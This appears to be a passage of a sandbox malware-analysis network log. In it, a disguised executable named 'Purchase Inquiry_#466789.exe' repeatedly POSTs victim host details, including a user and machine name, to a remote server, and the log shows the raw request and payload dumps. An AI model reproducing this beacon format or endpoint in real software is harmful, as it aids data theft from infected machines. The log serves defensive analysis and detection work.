May 27, 2024 08:33:37.469824076 CEST	1236	IN	Data Raw: 65 64 3a 20 36 70 78 20 36 70 78 20 30 70 78 20 2d 33 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 2c 20 36 70 78 20 36 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 31 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 Data Ascii: ed: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}body .
May 27, 2024 08:33:37.469835043 CEST	1236	IN	Data Raw: 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 63 6f 6c 6f 72 Data Ascii: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-c
May 27, 2024 08:33:37.469846010 CEST	1236	IN	Data Raw: 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d Data Ascii: rtant;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49780	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:37.619575024 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:37.624476910 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:39.727984905 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:38 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:39.728049040 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:39.728085041 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:39.728117943 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:39.728158951 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:39.728193045 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:39.728225946 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:39.728257895 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:39.728291988 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:33:39.728327990 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49781	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:39.932615995 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:39.938011885 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:42.036580086 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:40 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:42.036607981 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:42.036626101 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:42.036642075 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:33:42.036659002 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:33:42.036675930 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:33:42.036693096 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:42.036708117 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:42.036722898 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:42.036740065 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49782	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:42.194443941 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:42.199796915 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:44.488277912 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:42 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:44.488341093 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:44.488378048 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:44.488411903 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:33:44.488445997 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:33:44.488476992 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
